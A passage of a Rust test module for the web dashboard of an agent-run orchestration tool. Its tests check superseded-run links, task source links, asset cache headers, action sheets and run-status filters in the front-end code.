25447        q.put(&mut t).expect("put");
25448
25449        // Two cards with the same title and no hint which is which was the
25450        // question: "why are there two of the same, one stalled and one
25451        // blocked?" The older one now names its replacement.
25452        let rows = fx.get("/api/runs").await.json();
25453        let by = |short: &str| -> Value {
25454            rows.as_array()
25455                .unwrap()
25456                .iter()
25457                .find(|r| r["short"] == short)
25458                .cloned()
25459                .unwrap_or(Value::Null)
25460        };
25461        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
25462        assert!(
25463            by("bbbb")["superseded_by"].is_null(),
25464            "the latest attempt is not superseded by anything"
25465        );
25466        // Front end: the note has to be rendered, not just carried.
25467        assert!(APP_JS.contains("run.superseded_by"));
25468        assert!(APP_JS.contains("Superseded by"));
25469    }
25470
25471    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
25472        let mut t = Task::new(
25473            "one task".to_owned(),
25474            "do it".to_owned(),
25475            PathBuf::from("/repo"),
25476            Source::Human,
25477        );
25478        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
25479        t.status = status;
25480        t
25481    }
25482
25483    #[test]
25484    fn source_link_picks_the_page_that_filed_the_task() {
25485        let agent = |node: &str| Source::Agent {
25486            run: "20260904-014455-ab12".to_owned(),
25487            node: node.to_owned(),
25488        };
25489        let chat = source_link(&agent("chat")).expect("chat link");
25490        assert_eq!(chat.kind, "chat");
25491        assert_eq!(chat.id, "20260904-014455-ab12");
25492        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
25493        let run = source_link(&agent("implement")).expect("run link");
25494        assert_eq!(
25495            (run.kind, run.href.as_str()),
25496            ("run", "#/runs/20260904-014455-ab12")
25497        );
25498        assert_eq!(source_link(&Source::Human), None);
25499        assert_eq!(
25500            source_link(&Source::Issue {
25501                number: 3,
25502                repo: "o/r".to_owned()
25503            }),
25504            None
25505        );
25506        let odd = source_link(&Source::Agent {
25507            run: "a b/c".to_owned(),
25508            node: "chat".to_owned(),
25509        })
25510        .expect("link");
25511        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
25512    }
25513
25514    #[test]
25515    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
25516        assert!(
25517            !APP_JS.contains("src.node === \"chat\""),
25518            "inline href rule is back"
25519        );
25520        assert!(
25521            APP_JS.matches("sourceLinkOf(").count() >= 4,
25522            "helper must serve every page"
25523        );
25524        assert!(
25525            APP_JS.matches("openChatLink(").count() >= 3,
25526            "the run page still needs its explicit chat link"
25527        );
25528        assert!(
25529            !APP_JS.contains("const openChat = el("),
25530            "the Queue card duplicates its source label link again"
25531        );
25532        assert!(
25533            APP_JS.contains("metaKids.push(link ? el(\"a\""),
25534            "the task page must link a chat source label too"
25535        );
25536    }
25537
25538    #[test]
25539    fn task_ref_carries_the_source_link_for_a_chat_task() {
25540        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
25541        t.source = Source::Agent {
25542            run: "20260904-014455-ab12".to_owned(),
25543            node: "chat".to_owned(),
25544        };
25545        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
25546        let v = serde_json::to_value(&out).expect("json");
25547        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
25548        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
25549        assert_eq!(v["source_label"], t.source.label());
25550
25551        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
25552        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
25553            .expect("json");
25554        assert!(v["source_link"].is_null(), "{v}");
25555    }
25556
25557    #[test]
25558    fn task_view_serializes_source_link() {
25559        let mut t = Task::new(
25560            "t".to_owned(),
25561            "t".to_owned(),
25562            PathBuf::from("/repo"),
25563            Source::Agent {
25564                run: "20260901-000000-aaaa".to_owned(),
25565                node: "implement".to_owned(),
25566            },
25567        );
25568        t.runs.clear();
25569        let v = serde_json::to_value(TaskView::from(t)).expect("json");
25570        assert_eq!(v["source_link"]["kind"], "run", "{v}");
25571        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
25572    }
25573
25574    #[test]
25575    fn task_view_serializes_urgent_flag() {
25576        let mut t = Task::new(
25577            "t".to_owned(),
25578            "t".to_owned(),
25579            PathBuf::from("/repo"),
25580            Source::Human,
25581        );
25582        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
25583        assert_eq!(v["urgent"], false, "{v}");
25584        t.urgent = true;
25585        let v = serde_json::to_value(TaskView::from(t)).expect("json");
25586        assert_eq!(v["urgent"], true, "{v}");
25587        assert!(APP_JS.contains("task.urgent === true"));
25588    }
25589
25590    #[tokio::test]
25591    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
25592        let fx = Fixture::start().await;
25593        let runs = fx.runs();
25594        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25595        write_run(&runs, old, RunStatus::Blocked);
25596        write_run(&runs, new, RunStatus::Merged);
25597        let mut t = outcome_task(&[old, new], TaskStatus::Done);
25598        fx.queue().put(&mut t).expect("put");
25599
25600        let view = fx.get(&format!("/api/runs/{old}")).await.json();
25601        let task = &view["task"];
25602        assert_eq!(task["status"], "done");
25603        assert_eq!(task["is_latest"], false);
25604        assert_eq!(task["latest"]["short"], "bbbb");
25605        assert_eq!(task["finished_by"]["id"], new);
25606        assert_eq!(task["finished_by"]["outcome"], "merged");
25607        assert_eq!(task["closed_by_hand"], false);
25608        assert_eq!(view["status"], "blocked", "the run keeps its own status");
25609        assert!(APP_JS.contains("finished_by"));
25610        assert!(APP_JS.contains("superseded by run"));
25611    }
25612
25613    #[tokio::test]
25614    async fn the_latest_run_reports_a_held_task_without_a_successor() {
25615        let fx = Fixture::start().await;
25616        let runs = fx.runs();
25617        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25618        write_run(&runs, old, RunStatus::Stalled);
25619        write_run(&runs, new, RunStatus::Blocked);
25620        let mut t = outcome_task(&[old, new], TaskStatus::Held);
25621        fx.queue().put(&mut t).expect("put");
25622
25623        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
25624        assert_eq!(task["status"], "held");
25625        assert_eq!(task["is_latest"], true);
25626        assert!(task["latest"].is_null());
25627        assert!(task["finished_by"].is_null());
25628        assert_eq!(task["closed_by_hand"], false);
25629    }
25630
25631    #[tokio::test]
25632    async fn a_direct_run_has_no_task_outcome() {
25633        let fx = Fixture::start().await;
25634        let runs = fx.runs();
25635        let id = "20260901-000000-aaaa";
25636        write_run(&runs, id, RunStatus::Blocked);
25637        let view = fx.get(&format!("/api/runs/{id}")).await.json();
25638        assert!(view["task"].is_null());
25639    }
25640
25641    #[test]
25642    fn task_outcome_does_not_guess_a_finishing_run() {
25643        let a = "20260901-000000-aaaa";
25644        let b = "20260901-000000-bbbb";
25645        let c = "20260901-000000-cccc";
25646        let dir = tempfile::tempdir().expect("tempdir");
25647        write_run(dir.path(), a, RunStatus::Blocked);
25648        write_run(dir.path(), b, RunStatus::VerifiedNoop);
25649        // `c` has no record: unreadable.
25650        let read = |id: &str| read_run(dir.path(), id).ok();
25651        // Neither a blocked run nor a no-op finished the task; the newest run is
25652        // unreadable and still named.
25653        let t = outcome_task(&[a, b, c], TaskStatus::Done);
25654        let out = task_outcome(&t, a, 3, read);
25655        assert!(out.finished_by.is_none());
25656        assert!(out.closed_by_hand);
25657        let latest = out.latest.expect("latest");
25658        assert_eq!(latest.id, c);
25659        assert_eq!(latest.status, None);
25660        assert_eq!(latest.outcome, "record unreadable");
25661
25662        // A Ready run settles the task as done, so it is named as the finisher.
25663        write_run(dir.path(), c, RunStatus::Ready);
25664        let t = outcome_task(&[a, c], TaskStatus::Done);
25665        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
25666        assert_eq!(out.finished_by.expect("finisher").id, c);
25667        assert!(!out.closed_by_hand);
25668
25669        // A resumed run id repeats: it is still the latest by id.
25670        let t = outcome_task(&[a, b, a], TaskStatus::Held);
25671        assert!(task_outcome(&t, a, 3, read).is_latest);
25672    }
25673
25674    #[tokio::test]
25675    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
25676        // The list route has known this since the card fix above; the detail
25677        // route — what an operator actually opens from a notification about
25678        // a blocked run — did not, and went on showing a bare red BLOCKED
25679        // chip for a run a retry had already finished.
25680        let fx = Fixture::start().await;
25681        let q = fx.queue();
25682        let runs = fx.runs();
25683        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
25684        write_run(&runs, first, RunStatus::Blocked);
25685        write_run(&runs, second, RunStatus::Merged);
25686
25687        let mut t = Task::new(
25688            "one task".to_owned(),
25689            "do it".to_owned(),
25690            PathBuf::from("/repo"),
25691            Source::Human,
25692        );
25693        t.runs = vec![first.to_owned(), second.to_owned()];
25694        q.put(&mut t).expect("put");
25695
25696        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
25697        assert_eq!(earlier["superseded_by"], "dddd");
25698        assert_eq!(earlier["latest_attempt"]["id"], second);
25699        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
25700        assert_eq!(
25701            earlier["latest_attempt"]["resolved"], true,
25702            "the run that replaced it landed, so this one reads as settled"
25703        );
25704
25705        let later = fx.get(&format!("/api/runs/{second}")).await.json();
25706        assert!(
25707            later["superseded_by"].is_null(),
25708            "the latest attempt is not superseded by anything"
25709        );
25710        assert!(
25711            later["latest_attempt"].is_null(),
25712            "the latest attempt has no later attempt of its own"
25713        );
25714
25715        // Front end: the detail page has to read the field this route now
25716        // carries, downgrade the chip, and link to the run that replaced it —
25717        // not just repeat the list card's own logic under a different name.
25718        // The link is built off `latest_attempt.id`, the server-resolved
25719        // full id, never a bare short string a client would have to guess a
25720        // full run from.
25721        assert!(APP_JS.contains("run.latest_attempt"));
25722        assert!(APP_JS.contains("data-superseded"));
25723        assert!(APP_JS.contains("#/runs/${latest.id}"));
25724    }
25725
25726    #[tokio::test]
25727    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
25728        // A -> B -> C, all Blocked except the last. A's immediate successor
25729        // (superseded_by) is B, which is itself unresolved; what an operator
25730        // opening A's page actually needs is where the task's story stands
25731        // *now* - C, not B - without depending on whether C happens to be in
25732        // whatever page of /api/runs the client last cached.
25733        let fx = Fixture::start().await;
25734        let q = fx.queue();
25735        let runs = fx.runs();
25736        let (a, b, c) = (
25737            "20260901-000000-aaaa",
25738            "20260901-000000-bbbb",
25739            "20260901-000000-cccc",
25740        );
25741        write_run(&runs, a, RunStatus::Blocked);
25742        write_run(&runs, b, RunStatus::Blocked);
25743        write_run(&runs, c, RunStatus::Merged);
25744
25745        let mut t = Task::new(
25746            "retried twice".to_owned(),
25747            "do it".to_owned(),
25748            PathBuf::from("/repo"),
25749            Source::Human,
25750        );
25751        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
25752        q.put(&mut t).expect("put");
25753
25754        let view = fx.get(&format!("/api/runs/{a}")).await.json();
25755        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
25756        assert_eq!(
25757            view["latest_attempt"]["id"], c,
25758            "the chain's current head, not the intermediate Blocked retry"
25759        );
25760        assert_eq!(view["latest_attempt"]["resolved"], true);
25761
25762        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
25763        assert_eq!(mid["latest_attempt"]["id"], c);
25764        assert_eq!(mid["latest_attempt"]["resolved"], true);
25765    }
25766
25767    #[tokio::test]
25768    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
25769        let fx = Fixture::start().await;
25770        let q = fx.queue();
25771        let runs = fx.runs();
25772
25773        // Still Blocked: the task is not resolved, so the older run must not
25774        // read as settled either.
25775        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
25776        write_run(&runs, still_blocked_a, RunStatus::Blocked);
25777        write_run(&runs, still_blocked_b, RunStatus::Blocked);
25778        let mut t1 = Task::new(
25779            "still stuck".to_owned(),
25780            "do it".to_owned(),
25781            PathBuf::from("/repo"),
25782            Source::Human,
25783        );
25784        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
25785        q.put(&mut t1).expect("put");
25786        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
25787        assert_eq!(view1["latest_attempt"]["resolved"], false);
25788        assert_eq!(view1["latest_attempt"]["status"], "blocked");
25789        assert_eq!(view1["latest_attempt"]["done"], true);
25790
25791        // Still running: the successor exists and must be reported as such.
25792        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
25793        write_run(&runs, run_a, RunStatus::Blocked);
25794        write_run(&runs, run_b, RunStatus::Implementing);
25795        let mut t3 = Task::new(
25796            "retrying".to_owned(),
25797            "do it".to_owned(),
25798            PathBuf::from("/repo"),
25799            Source::Human,
25800        );
25801        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
25802        q.put(&mut t3).expect("put");
25803        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
25804        assert_eq!(view3["latest_attempt"]["id"], run_b);
25805        assert_eq!(view3["latest_attempt"]["resolved"], false);
25806        assert_eq!(view3["latest_attempt"]["done"], false);
25807
25808        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
25809        // to check - not a confirmed finish, so this must not read as
25810        // resolved either, even though the run is done in the sense that
25811        // nothing is still running.
25812        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
25813        write_run(&runs, noop_a, RunStatus::Blocked);
25814        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
25815        let mut t2 = Task::new(
25816            "claims done".to_owned(),
25817            "do it".to_owned(),
25818            PathBuf::from("/repo"),
25819            Source::Human,
25820        );
25821        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
25822        q.put(&mut t2).expect("put");
25823        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
25824        assert_eq!(
25825            view2["latest_attempt"]["resolved"], false,
25826            "an unverified no-op claim must not read as a confirmed finish"
25827        );
25828
25829        // Front end: an unresolved successor must not carry the "finished
25830        // this work" note or the muted chip treatment.
25831        assert!(APP_JS.contains("latest.resolved"));
25832        // ...but the link to it shows as soon as it exists, labelled by state
25833        // and without the "finished" wording or the muted chip.
25834        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
25835        assert!(APP_JS.contains("Latest attempt: "));
25836        assert!(APP_JS.contains("in flight"));
25837        assert!(APP_JS.contains("not resolved"));
25838    }
25839
25840    #[tokio::test]
25841    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
25842        let fx = Fixture::start().await;
25843        // No cache header at all meant browsers invented their own policy,
25844        // and one did: a phone went on showing "Candidates must be folded
25845        // before deleting. Run `magi fold` first." - deleted two releases
25846        // earlier - from a deck that no longer contained the sentence. The
25847        // button it named was right there, and unreachable.
25848        let js = fx.get("/app.js").await;
25849        assert_eq!(js.status, 200);
25850        let tag = js
25851            .header("etag")
25852            .expect("an etag to revalidate against")
25853            .to_owned();
25854        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
25855        assert_eq!(
25856            js.header("cache-control"),
25857            Some("no-cache, must-revalidate"),
25858            "the phone has to ask every time"
25859        );
25860
25861        // And the asking has to be cheap, or `must-revalidate` just means
25862        // "send the whole interface on every load".
25863        let again = fx
25864            .get_with("/app.js", &[("if-none-match", tag.as_str())])
25865            .await;
25866        assert_eq!(
25867            again.status, 304,
25868            "a deck it already has costs one round trip"
25869        );
25870        assert!(again.body.is_empty(), "304 carries no body");
25871
25872        // A weakened tag from a proxy still matches; a different build does
25873        // not, which is the case that has to deliver the new interface.
25874        let weak = fx
25875            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
25876            .await;
25877        assert_eq!(weak.status, 304);
25878        let stale = fx
25879            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
25880            .await;
25881        assert_eq!(stale.status, 200, "an older build must be replaced");
25882        assert!(stale.body.contains("renderRunActions"));
25883    }
25884
25885    #[test]
25886    fn the_task_detail_has_an_actions_fab_and_sheet() {
25887        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
25888        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
25889        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
25890        // Shown only on the task route, closed everywhere else.
25891        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
25892        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
25893        // Refreshed whenever the detail redraws, including the loading state.
25894        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
25895        assert!(APP_JS.contains("renderTaskActions(null);"));
25896        // Same action renderers as the Queue card. Bound this check by the
25897        // next function, since additional task controls can grow the sheet.
25898        let (_, sheet) = APP_JS
25899            .split_once("function renderTaskActions(task) {")
25900            .expect("sheet renderer");
25901        let (body, _) = sheet
25902            .split_once("\nfunction openTaskActions() {")
25903            .expect("end of sheet renderer");
25904        assert!(body.contains("changePriority("));
25905        assert!(body.contains("openTaskEdit(task)"));
25906        assert!(body.contains("renderTaskHoldBox(host"));
25907        assert!(body.contains("renderTaskDoneBox(host"));
25908        assert!(body.contains("renderTaskDeleteBox(host"));
25909        assert!(APP_JS.contains("API.priority(id)"));
25910        assert!(APP_JS.contains("API.deleteTask(id)"));
25911        // A deleted task sends the operator back to the queue.
25912        assert!(APP_JS.contains("location.hash = \"#/queue\""));
25913        // A refusal is shown inside the sheet.
25914        assert!(APP_JS.contains("$(\"task-actions-error\")"));
25915    }
25916
25917    #[test]
25918    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
25919        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
25920        let actions = INDEX_HTML
25921            .find("id=\"run-actions-box\"")
25922            .expect("actions box");
25923        assert!(task < actions, "the task entry comes first in the sheet");
25924        assert!(APP_JS.contains("renderRunTaskEntry"));
25925        assert!(APP_JS.contains("\"Open task \""));
25926        // A run without a task says why there is nothing to open.
25927        assert!(APP_JS.contains("started directly, no task"));
25928        assert!(APP_JS.contains("sheet-task-link"));
25929        assert!(APP_JS.contains("task-chip-link"));
25930    }
25931
25932    #[test]
25933    fn the_deck_never_sends_the_operator_to_a_terminal() {
25934        // The whole point of the phone UI is that a terminal is not needed.
25935        // The delete control used to answer with "Run `magi fold` first."
25936        assert!(
25937            !APP_JS.contains("Run `magi fold` first"),
25938            "the deck must offer the fold, not prescribe a shell command"
25939        );
25940        assert!(APP_JS.contains("foldRun:"));
25941        assert!(APP_JS.contains("resumeRun:"));
25942        assert!(APP_JS.contains("renderRunActions"));
25943
25944        // Folding is destructive and armed in two steps, like deleting.
25945        assert!(APP_JS.contains("armedFold"));
25946        assert!(APP_JS.contains("Yes, fold worktrees"));
25947
25948        // And the copy has to say that the two actions are opposites, because
25949        // folding throws away exactly what a resume would continue from.
25950        assert!(APP_JS.contains("can no longer be resumed"));
25951    }
25952
25953    #[test]
25954    fn a_finished_run_explains_itself_with_its_own_last_line() {
25955        // The deck used to answer "why did this stop?" with a sentence chosen
25956        // by status alone. Run e633 stalled because two judges answered with
25957        // the wrong JSON shape and its card said "The panel collapsed on
25958        // agent quota" - with `quota: []` in the record and a quota-loss
25959        // counter right above it that correctly said nothing.
25960        assert!(
25961            !APP_JS.contains("collapsed on agent quota"),
25962            "a stall must not be explained by a cause the deck did not check"
25963        );
25964        assert!(
25965            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
25966            "and a block must not offer a guess with an `or` in it"
25967        );
25968
25969        // The reason it does have is `run.event`, which must reach finished
25970        // runs: gating it on movement hid the recorded truth at the one moment
25971        // the operator is reading the card to find out what happened.
25972        assert!(
25973            APP_JS.contains("setText(r.event, run.event || \"\")"),
25974            "the run's last line is rendered unconditionally"
25975        );
25976        assert!(
25977            !APP_JS.contains("moving && run.event"),
25978            "and never gated on the run still moving"
25979        );
25980
25981        // Quota keeps its own counter, fed by the number actually recorded.
25982        assert!(APP_JS.contains("lost to quota"));
25983    }
25984
25985    /// The runs tree (section) and the state chips (waiting/done) are two
25986    /// independent lenses ANDed together in `renderRuns`, and some pairings
25987    /// can never both be true for any run - every "Landed"/"Ended" run is
25988    /// done by construction, so pairing either with "Active" or "In flight"
25989    /// always rendered zero cards with the filter bar still claiming
25990    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
25991    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
25992    /// a handful of (waiting, status) shapes standing in for the run
25993    /// lifecycle, because `cargo test` cannot execute the front end.
25994    ///
25995    /// That stand-in list is itself the part that drifted twice in review:
25996    /// once shipped with `waiting: true` paired with a done status the
25997    /// lifecycle cannot produce, then over-corrected into treating every
25998    /// waiting run as never done - which made "Waiting on you" look
25999    /// incompatible with "Done" even for the one real, reachable shape
26000    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
26001    /// that combination. This test parses the shapes and the done-rule back
26002    /// out of `APP_JS`, reimplements `runSection` and the five state
26003    /// predicates independently in Rust, and checks the resulting
26004    /// section/filter compatibility table against the lifecycle rules by
26005    /// hand - so either direction of drift fails it again.
26006    #[test]
26007    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
26008        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
26009        let shapes_body_start =
26010            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
26011        let shapes_close = APP_JS[shapes_body_start..]
26012            .find("].map(")
26013            .expect("the shape list is closed by its done-computing .map(...)")
26014            + shapes_body_start;
26015        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
26016
26017        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
26018        for entry in shapes_src.split('{').skip(1) {
26019            let waiting = entry.contains("waiting: true");
26020            let dead = entry.contains("live: \"dead\"");
26021            let status_at =
26022                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
26023            let status_end = entry[status_at..]
26024                .find('"')
26025                .expect("the status string is closed")
26026                + status_at;
26027            let parked = entry.contains("display_status: \"parked\"");
26028            shapes.push((
26029                waiting,
26030                entry[status_at..status_end].to_string(),
26031                dead,
26032                parked,
26033            ));
26034        }
26035        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
26036
26037        // The done rule itself (`!["implementing"].includes(shape.status)`),
26038        // read out of the source rather than hardcoded, so a renamed
26039        // in-flight status can't silently make every parsed shape "done".
26040        let done_rule_marker = "done: !";
26041        let done_rule_at = APP_JS[shapes_close..]
26042            .find(done_rule_marker)
26043            .expect("the done rule follows the shape list")
26044            + shapes_close
26045            + done_rule_marker.len();
26046        let includes_at = APP_JS[done_rule_at..]
26047            .find(".includes(shape.status)")
26048            .expect("the done rule ends in .includes(shape.status)")
26049            + done_rule_at;
26050        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
26051            .trim()
26052            .trim_start_matches('[')
26053            .trim_end_matches(']')
26054            .split(',')
26055            .map(|s| s.trim().trim_matches('"'))
26056            .filter(|s| !s.is_empty())
26057            .collect();
26058
26059        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
26060            .into_iter()
26061            .map(|(waiting, status, dead, parked)| {
26062                let done = !not_done.contains(&status.as_str());
26063                (waiting, status, dead, parked, done)
26064            })
26065            .collect();
26066
26067        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
26068        // outright, then merged/ready land, stalled/blocked/failed/
26069        // verified_noop end, and everything else is still in flight.
26070        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
26071            if waiting {
26072                return "waiting";
26073            }
26074            if dead
26075                && !parked
26076                && !matches!(
26077                    status,
26078                    "merged"
26079                        | "ready"
26080                        | "stalled"
26081                        | "blocked"
26082                        | "failed"
26083                        | "verified_noop"
26084                        | "superseded"
26085                        | "already_in_base"
26086                )
26087            {
26088                return "stale";
26089            }
26090            match status {
26091                "merged" | "ready" => "landed",
26092                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
26093                | "already_in_base" => "ended",
26094                _ => "flight",
26095            }
26096        }
26097
26098        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
26099        // way.
26100        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
26101            match filter_key {
26102                "active" => !done,
26103                "flight" => !done && !waiting && !dead,
26104                "stale" => !done && !waiting && dead,
26105                "waiting" => waiting,
26106                "done" => done,
26107                "all" => true,
26108                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
26109            }
26110        }
26111
26112        let compatible = |section: &str, filter_key: &str| {
26113            shapes.iter().any(|(waiting, status, dead, parked, done)| {
26114                run_section(*waiting, status, *dead, *parked) == section
26115                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
26116            })
26117        };
26118
26119        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
26120        // (active, flight, stale, waiting, done, all) - hand-derived from the
26121        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
26122        // currently contains.
26123        let expected = [
26124            ("waiting", [true, false, false, true, true, true]),
26125            ("stale", [true, false, true, false, false, true]),
26126            ("flight", [true, true, false, false, false, true]),
26127            ("landed", [false, false, false, false, true, true]),
26128            ("ended", [false, false, false, false, true, true]),
26129        ];
26130        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
26131
26132        for (section, wants) in expected {
26133            for (filter_key, want) in filter_keys.iter().zip(wants) {
26134                assert_eq!(
26135                    compatible(section, filter_key),
26136                    want,
26137                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
26138                );
26139            }
26140        }
26141
26142        // The compatibility check exists only to be acted on: both pickers
26143        // must actually consult it rather than just render its answer.
26144        assert!(
26145            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
26146        );
26147        assert!(APP_JS.contains(
26148            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
26149        ));
26150        assert!(APP_JS.contains(
26151            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
26152        ));
26153    }
26154
26155    #[tokio::test]
26156    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
26157        // An operator-named directory - git checkout or not - is never
26158        // second-guessed, even when it does not exist at all: only the
26159        // flag's own unmodified `.` default is ever eligible for discovery.
26160        let dir = tempfile::tempdir().expect("tempdir");
26161        let explicit = dir.path().join("not-a-checkout");
26162        std::fs::create_dir_all(&explicit).expect("create dir");
26163        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
26164
26165        let missing = dir.path().join("does-not-exist-at-all");
26166        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
26167    }
26168
26169    #[test]
26170    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
26171        assert!(APP_JS.contains("function statsDonutArcs"));
26172        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
26173        // A bucket click filters by the statuses src/stats.rs counts in it.
26174        assert!(APP_JS.contains("function statusInBucket"));
26175        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
26176        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
26177        let buckets = [
26178            "merged",
26179            "ready",
26180            "in_progress",
26181            "blocked",
26182            "failed",
26183            "verified_noop",
26184            "superseded",
26185            "stalled",
26186        ];
26187        for key in buckets {
26188            let var = format!("--verdict-{key}:");
26189            // Light, OS-dark and pinned-dark blocks each define it.
26190            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
26191            assert!(
26192                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
26193                "{key}"
26194            );
26195        }
26196    }
26197
26198    #[tokio::test]
26199    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
26200        let dir = tempfile::tempdir().expect("tempdir");
26201        let queue = Queue::at(dir.path().join("queue"));
26202        let talks = Talks::at(dir.path().join("talks"));
26203        std::fs::create_dir_all(queue.root()).unwrap();
26204        std::fs::create_dir_all(talks.root()).unwrap();
26205
26206        // Put a corrupt json file in both stores
26207        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
26208        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
26209
26210        // Valid task and talk
26211        let mut task = Task::new(
26212            "title".into(),
26213            "inst".into(),
26214            PathBuf::from("/repo"),
26215            Source::Human,
26216        );
26217        task.id = "20261019-123456-abcd".into();
26218        // Write manually so it's a valid file
26219        std::fs::write(
26220            queue.path_of(&task.id),
26221            serde_json::to_string(&task).unwrap(),
26222        )
26223        .unwrap();
26224
26225        let talk_id = "20261019-234567-cdef";
26226        seed_talk_at(&talks, talk_id, "open");
26227
26228        // Exact match should succeed without failing on the corrupt json file
26229        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
26230        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
26231
26232        // Prefix match should also succeed by scanning file names without deserializing corrupt file
26233        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
26234        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
26235    }
26236
26237    #[tokio::test]
26238    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
26239        let home = tempfile::tempdir().unwrap();
26240        let ui = delta_test_ui(home.path());
26241        // A full history traversal would fail even with no questions.
26242        std::fs::write(ui.queue.root(), "not a directory").unwrap();
26243        std::fs::write(ui.talks.root(), "not a directory").unwrap();
26244        assert!(
26245            questions_list(State(ui.clone()))
26246                .await
26247                .unwrap()
26248                .0
26249                .is_empty()
26250        );
26251        assert!(
26252            question_origins(State(ui.clone()))
26253                .await
26254                .unwrap()
26255                .0
26256                .is_empty()
26257        );
26258        let mut question = Question::new(
26259            "run-history".into(),
26260            "review".into(),
26261            "seat".into(),
26262            "Useful question".into(),
